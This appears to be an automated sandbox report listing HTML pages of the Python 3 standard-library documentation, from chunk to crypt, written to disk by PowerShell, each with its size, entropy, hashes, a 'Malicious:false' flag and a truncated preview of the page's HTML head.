                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="chunk . Read IFF chunked data" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/chunk.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/chunk.py This module provides an interface for reading files that use EA IFF 85 chunks. 1 This format is used in at least the Audio Interchange File Format (AIFF/AIFF-C) and the Re..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/chunk.py This module provides an i
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (925), with CRLF line terminators
                    Category:dropped
                    Size (bytes):48255
                    Entropy (8bit):4.8431227934680345
                    Encrypted:false
                    SSDEEP:
                    MD5:3A589330916378980D21B5ED320358CA
                    SHA1:28A7D7F250A68D9B4893AD260AD0193F112A54A9
                    SHA-256:63941898A03DBCC0011F71B8BF9A44064180315AD89AAE564D6581A2AB911835
                    SHA-512:99E78476F3B6D0B7FE2AD84F240944F5C8BD90561CD959A8B1AB0BC83B5ABB0061856AB88CAE7325AA3FF2C3BCF64D0706C3B1BC79170082BE3EA9E0D800D22D
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="cmath . Mathematical functions for complex numbers" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/cmath.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="This module provides access to mathematical functions for complex numbers. The functions in this module accept integers, floating-point numbers or complex numbers as arguments. They will also accep..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="This module provides access to
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (958), with CRLF line terminators
                    Category:dropped
                    Size (bytes):56462
                    Entropy (8bit):4.831452703352486
                    Encrypted:false
                    SSDEEP:
                    MD5:2A8011925B6DFCEBC766A34E252FAF2C
                    SHA1:CD5AE23376E23F72D78D99F7A298B60A5BD9249A
                    SHA-256:73C01886FA5A12E5F36067E3D859AEBCA7230D1B16561AA9DB21C83A4F6D6248
                    SHA-512:ACFC4ADE2B46E50A8574C962CEE07E43983EFF6BC63DE4D0A326171C3F679555AA2748974A4809412F6E71DF1E59B3F5BFC9791955102C457CBA33635CF31044
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="cmd . Support for line-oriented command interpreters" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/cmd.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/cmd.py The Cmd class provides a simple framework for writing line-oriented command interpreters. These are often useful for test harnesses, administrative tools, and prototypes tha..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/cmd.py The Cm
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):22434
                    Entropy (8bit):4.858323401887799
                    Encrypted:false
                    SSDEEP:
                    MD5:A5A578B2951B3C0BB84C407EED072B98
                    SHA1:E6B0393F41624C566677C716F88C662A340898D5
                    SHA-256:E2EBA124600BAAFC0C2280300954ACDA0F57054BC556AD37DD76B0265F6FDF89
                    SHA-512:37D836CAF933F904A164003DEC117FDA7B7209A08D82A9A1A9439A78C01FF3A4298D9C8255473AB5C4E2061A50809C66F7E8FF1A83B81A5F9A67212A65E008C1
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Modules command-line interface (CLI)" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/cmdline.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The following modules have a command-line interface. ast, asyncio, base64, calendar, code, compileall, cProfile: see profile, difflib, dis, doctest, encodings.rot_13, ensurepip, filecmp, fileinput,..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The following modules have a command-line in
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1083), with CRLF line terminators
                    Category:dropped
                    Size (bytes):39394
                    Entropy (8bit):4.822789063898084
                    Encrypted:false
                    SSDEEP:
                    MD5:96C166E26D5E51FBAE8D558E64CE8FA7
                    SHA1:FE08111FC7BD6122278626600317D933B079AAB2
                    SHA-256:DDE5B678C3C7983EF9D9A5D2D729D5C30ECCF8D9A3355CCA048A1B49F7952058
                    SHA-512:156772F24309CC96A185E146F850B70F4A6B9ADFC1036CF4AD04CF0832982307458DA514AEAC742F64B74B0D38FFD3C96FB66444689F16264B07732A4136B038
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="code . Interpreter base classes" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/code.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/code.py The code module provides facilities to implement read-eval-print loops in Python. Two classes and convenience functions are included which can be used to build applications..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/code.py The code module provides
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1563), with CRLF line terminators
                    Category:dropped
                    Size (bytes):167038
                    Entropy (8bit):4.891478625477485
                    Encrypted:false
                    SSDEEP:
                    MD5:B17062CB975D3CC67D6232A42B92ECDB
                    SHA1:D32148135DC3CF7097BEEA1089F147A426549680
                    SHA-256:DDE74346CFD720888B939E5E915D7271E3A6A9378FD2413FB086CC098147879E
                    SHA-512:21733E7825F62F3A58C5054E09E5C50461D0ECE6408069D3942B43673AE03100151A13543A709FA0BA368043F39ECB0F54CF23986DE53F6F70C2AD57BB97522B
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="codecs . Codec registry and base classes" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/codecs.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/codecs.py This module defines base classes for standard Python codecs (encoders and decoders) and provides access to the internal Python codec registry, which manages the codec and..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/codecs.py This module
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (807), with CRLF line terminators
                    Category:dropped
                    Size (bytes):21811
                    Entropy (8bit):4.86412944443363
                    Encrypted:false
                    SSDEEP:
                    MD5:0CF5C61717D7D8991D2C490BE6790C69
                    SHA1:4421AF1FF9614A1AFB18C0ED1464986F086B4E0A
                    SHA-256:B9096A3C43FDB4A712CEAE7F691D850956AFDB76DB078A1EB59D9673F2751ACE
                    SHA-512:C742C0DE292DD73B79174E11FF4E5EF77F48EEB1DF91B47800CA69F64387EBDBE0660102C111E6C74E5F2C3BA31FBED8261159D23AF4E50DDCB7D2C250BCD931
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="codeop . Compile Python code" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/codeop.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/codeop.py The codeop module provides utilities upon which the Python read-eval-print loop can be emulated, as is done in the code module. As a result, you probably don.t want to us..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/codeop.py The codeop module prov
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (660), with CRLF line terminators
                    Category:dropped
                    Size (bytes):92297
                    Entropy (8bit):4.79320654470516
                    Encrypted:false
                    SSDEEP:
                    MD5:3480926C99E458E6E3D24B55030516F5
                    SHA1:9A05984C788B2E32A2E343BD40DA64D94B3DED24
                    SHA-256:F3B2C7CF65A238241DE157D5F7BD4C91F35242D7D378D7C0AD6BA6E911C16D6D
                    SHA-512:262978F64BA8C5A1F30CF46755FFE9B81F2F3800745B3CB2A62F429DE712349B73290197A842104B770A77F083A0A9EAB001F72B956BE6834D1E6C25A4CFC3AE
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="collections.abc . Abstract Base Classes for Containers" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/collections.abc.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/_collections_abc.py This module provides abstract base classes that can be used to test whether a class provides a particular interface; for example, whether it is hashable or whet..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (636), with CRLF line terminators
                    Category:dropped
                    Size (bytes):198528
                    Entropy (8bit):4.771103341784293
                    Encrypted:false
                    SSDEEP:
                    MD5:674F3ED9C1938E2162FB4B4051D54E1D
                    SHA1:F236D4CD3B0D91DBF1FA1D061C9DD433E3E900E6
                    SHA-256:370872630059106239A2B7B5C8FEC80E08F6320B8403793E37CFB9CD8278180C
                    SHA-512:224931754811ED568A9BF3FA2904A88ACF7B8CE456D1335192E29D9F9A10A54679D92C4C89CA5A50CAEC3E9B057F4929ABDB0901CAADB8467342194C69F9B8A5
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="collections . Container datatypes" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/collections.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/collections/__init__.py This module implements specialized container datatypes providing alternatives to Python.s general purpose built-in containers, dict, list, set, and tuple.,,..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/collections/__init__.p
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (543), with CRLF line terminators
                    Category:dropped
                    Size (bytes):20609
                    Entropy (8bit):4.886676659675043
                    Encrypted:false
                    SSDEEP:
                    MD5:655E2EBF50F5C01245E18C8FEA5EB497
                    SHA1:A4B200D72E23A56A1A01D2FF5C30FEF5EE95ADB6
                    SHA-256:BBCB0784122F91EB60CC4B1177F040CCF99C1AEAFB8755C4E0A4D53B22F4DB8D
                    SHA-512:4A560644073FDD670F6C2B07EA19EBE8C0324E4AF66E74CA3BCDEC02CD7CD42ADE4F514C5508E2455E31BF123E543C551EFD2BB862EE23446AF33B5FE37B8914
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="colorsys . Conversions between color systems" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/colorsys.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/colorsys.py The colorsys module defines bidirectional conversions of color values between colors expressed in the RGB (Red Green Blue) color space used in computer monitors and thr..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/colorsys.py The
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (3065), with CRLF line terminators
                    Category:dropped
                    Size (bytes):55567
                    Entropy (8bit):4.80255479486973
                    Encrypted:false
                    SSDEEP:
                    MD5:BD6CEBBD0C3C57B7D8B7CEEC767BA588
                    SHA1:3F05924276D9C6EE953545631DB6C1B8974C7E66
                    SHA-256:E4719624DDA94DBFBFD6E66B7517095A534CC99F64949FDA1C43E437E49BA856
                    SHA-512:4A31F977A5C36B44DF4E20F980D8B2BBE62E3547913C9837EC0AB91686C1E03A358E101451F3FF7EC470C0B67D495DA62BCDBB2280FE11D156A2823AB4A40214
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="compileall . Byte-compile Python libraries" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/compileall.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/compileall.py This module provides some utility functions to support installing Python libraries. These functions compile Python source files in a directory tree. This module can b..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/compileall.py Th
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (443), with CRLF line terminators
                    Category:dropped
                    Size (bytes):28019
                    Entropy (8bit):4.871784993341623
                    Encrypted:false
                    SSDEEP:
                    MD5:20A439487AE14F5DCEAB7655864FC8CB
                    SHA1:C4F05C86AAE6B954A671C78FB788D75D2ECD60F9
                    SHA-256:464BDA321B89AF7750A27724B547A4AFA3D0118CFD2165A105A9A521CE5F9103
                    SHA-512:C5B94F294ED40360F1D8212390260C93780098D07CCF843F60B325F77342B28B6317318AD55331C1E746004FC22A687791757004BC1189B9DB89082C7D76B620
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Concurrent Execution" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/concurrency.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="The modules described in this chapter provide support for concurrent execution of code. The appropriate choice of tool will depend on the task to be executed (CPU bound vs IO bound) and preferred s..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="The modules described in this chapter provide support fo
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1434), with CRLF line terminators
                    Category:dropped
                    Size (bytes):90456
                    Entropy (8bit):4.820344359861788
                    Encrypted:false
                    SSDEEP:
                    MD5:82F66F3987791DBDC63EE1F9186AE0B1
                    SHA1:9453468DD370819326C1F3618A12C919783BE759
                    SHA-256:01E7938D2D82567B38D6ADDBA849303FF2BEF1A5F877F505F4780614828057B2
                    SHA-512:55D1FD0EBCD1491DEC8B3EBE5FC1CB296C2FA1A41B843B84156E524D4E7373F3035C8D84235EFECA5880AA9AC35F2E58D0A010375AFCEDF86D4F6638D57CC3FA
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="concurrent.futures . Launching parallel tasks" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/concurrent.futures.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/concurrent/futures/thread.py and Lib/concurrent/futures/process.py The concurrent.futures module provides a high-level interface for asynchronously executing callables. The asynchr..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/concu
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (373), with CRLF line terminators
                    Category:dropped
                    Size (bytes):14481
                    Entropy (8bit):4.826211851866605
                    Encrypted:false
                    SSDEEP:
                    MD5:84D45660AC1FEDED9FAB02557A78FFC5
                    SHA1:BE83953B4CD6BD48F60DE27833522F94D5F77645
                    SHA-256:FB59A044154050788306E51C30BA6C8CCF4AA79F6F8D2DA9E18A1B0FCAC34BD9
                    SHA-512:ED04C37EFCCC1835E303BFACE44F4BBA7A989D457011398B7700C95E518DF59674CECFDCDC5C8CCD459427F8491B346BEEDA1A1356DF2562DB188AEA78A32F08
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="The concurrent package" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/concurrent.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Currently, there is only one module in this package: concurrent.futures . Launching parallel tasks." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Currently, there is only one module in this package: concurrent.futures . Launching parallel tasks." />..<meta property="og:image:width" content="200" /
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (497), with CRLF line terminators
                    Category:dropped
                    Size (bytes):166896
                    Entropy (8bit):4.850204821974308
                    Encrypted:false
                    SSDEEP:
                    MD5:07DF471F192DF5D3EEBCE3F9B83D6459
                    SHA1:A3C5784ACCCD5D164EAD48D394364E016EA6411D
                    SHA-256:E2083DC394D851B90B98F9DEC8144D00D13C17963C9E92DE2070023580D9EBD1
                    SHA-512:C7680B2DC1FE03F3A5DC7F032CA1650CA5F7D2ABB5D8E9E5AB378A06184BD1E12EE18DED93350D385F259863443BC7FC4F2E6E761669B313218BB8C86EF2C67E
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="configparser . Configuration file parser" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/configparser.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/configparser.py This module provides the ConfigParser class which implements a basic configuration language which provides a structure similar to what.s found in Microsoft Windows ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/configparser.p
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (838), with CRLF line terminators
                    Category:dropped
                    Size (bytes):26682
                    Entropy (8bit):4.858447860264611
                    Encrypted:false
                    SSDEEP:
                    MD5:7D8AB8A71EE6886AE650BFA1A6A366A4
                    SHA1:071A4C99256EE94254A912D875D2A5CDA73B2C80
                    SHA-256:0C576F32CA38335521E8FF2095527EB7DFA8C7FFD754335DC8E29435D46AF3C0
                    SHA-512:0952A7002BDF147FCC19F72FEBBF0A9ACD0BD3310D9008D8EE4627F46D8B17E6C4E75F37821D998E071888B4AAA5EA8DB7F69682EB4D7EA522FFABBE12955273
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="Built-in Constants" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/constants.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="A small number of constants live in the built-in namespace. They are: Constants added by the site module: The site module (which is imported automatically during startup, except if the-S command-li..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="A small number of constants live in the built-in namespace.
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (565), with CRLF line terminators
                    Category:dropped
                    Size (bytes):130687
                    Entropy (8bit):4.767192242444821
                    Encrypted:false
                    SSDEEP:
                    MD5:F5819A7D8247E1D1367FC800E81044E2
                    SHA1:D248A12A0514E9E3372D7F3758DD43A250A70211
                    SHA-256:E89F760B09DD4DC66B35C07A931467CC90E6AFCB68F376C87AF544951AA16004
                    SHA-512:9202CAFBBD4D5916EDA040FA31BA88F24D153D5B710FA5BC9749996710BAE51FE29B86F56D37BACD9676FB9A3C55442ED56DA8953A64B62D2CE8F25485282D14
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="contextlib . Utilities for with-statement contexts" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/contextlib.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/contextlib.py This module provides utilities for common tasks involving the with statement. For more information see also Context Manager Types and With Statement Context Managers...." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/contextl
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (700), with CRLF line terminators
                    Category:dropped
                    Size (bytes):42421
                    Entropy (8bit):4.879904865389666
                    Encrypted:false
                    SSDEEP:
                    MD5:6F2B5F451CB5E99AD4A267B1372ED133
                    SHA1:5DC13ED56A895814ED32E33A85F542365A435707
                    SHA-256:C6BEDCD3FB13A2FA81963982E642A27BC18D6F5002663C644C9B90BF3208930A
                    SHA-512:28932809CCBAB1B2B486C562024D75B94EFB3A4FACA76C34B8D10403ADF055ECF4B34BB1609D87715611B412A47905B17463EF4675416186A987B67EBBEC10AF
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="contextvars . Context Variables" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/contextvars.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="This module provides APIs to manage, store, and access context-local state. The ContextVar class is used to declare and work with Context Variables. The copy_context() function and the Context clas..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="This module provides APIs to manage, store,
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (518), with CRLF line terminators
                    Category:dropped
                    Size (bytes):21265
                    Entropy (8bit):4.839434880070611
                    Encrypted:false
                    SSDEEP:
                    MD5:4A527D87F83C1042B16FF1E88052B1B1
                    SHA1:61F59D0D8F27F4A55FB6D22CF26811A7372B1142
                    SHA-256:9CCC87CE2A05931C9874285F445676BFC95D132638023C47C3F132C981A06134
                    SHA-512:4160D17BA507A31DEFDD47EF03551F23AA462A1A9BCE42423A7F5B9300E8747D3D22714E50C09BC9E3CB41EE75E2D889D960A1548D5C18C3F8F8CF074A153F1E
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="copy . Shallow and deep copy operations" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/copy.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/copy.py Assignment statements in Python do not copy objects, they create bindings between a target and an object. For collections that are mutable or contain mutable items, a copy ..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/copy.py Assignment statem
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (669), with CRLF line terminators
                    Category:dropped
                    Size (bytes):22031
                    Entropy (8bit):4.855111040764174
                    Encrypted:false
                    SSDEEP:
                    MD5:489575A670D6A9BF6D20A78F851A314A
                    SHA1:6B5CB9B1A6F4F75AF510DE98FA5FB60F85BB07D9
                    SHA-256:DECF830706EBB192966D1FD7B97DF5311B14EDC8657DF7ACCC4062008A1083B5
                    SHA-512:6A64CC8A62197968A469639978845CA2C499C34EFF270EFFCEA61DB4FD161D6D42BB92D1A604199AA26A4BFA56B441CD1371393A25DB2F453A0003A6C304F19B
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="copyreg . Register pickle support functions" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/copyreg.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/copyreg.py The copyreg module offers a way to define functions used while pickling specific objects. The pickle and copy modules use those functions when pickling/copying those obj..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/copyreg.py The cop
                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    File Type:HTML document, Unicode text, UTF-8 text, with very long lines (765), with CRLF line terminators
                    Category:dropped
                    Size (bytes):32791
                    Entropy (8bit):4.916955964600961
                    Encrypted:false
                    SSDEEP:
                    MD5:7334FBD87961C3EF70721D490E52EA0D
                    SHA1:33C5B44E2D7BA2448C29EE2627CB198423682197
                    SHA-256:A0A666AF0F63EDB0C87E29BEE30E02D24B9F91296B970F565E6D6854FB353E72
                    SHA-512:C92257C6EE0B1A7E7C6A729E32370DBE402C3DCD29B6210EDBD24569A2F6B1E31C6E50B3415E9BEB016B0F0DC6ED0450DD09C39BA30C27397A9DF675392372C8
                    Malicious:false
                    Reputation:unknown
                    Preview:<!DOCTYPE html>....<html lang="en" data-content_root="../">.. <head>.. <meta charset="utf-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />..<meta property="og:title" content="crypt . Function to check Unix passwords" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://docs.python.org/3/library/crypt.html" />..<meta property="og:site_name" content="Python documentation" />..<meta property="og:description" content="Source code: Lib/crypt.py This module implements an interface to the crypt(3) routine, which is a one-way hash function based upon a modified DES algorithm; see the Unix man page for further detail..." />..<meta property="og:image" content="https://docs.python.org/3/_static/og-image.png" />..<meta property="og:image:alt" content="Python documentation" />..<meta name="description" content="Source code: Lib/crypt.py This module im
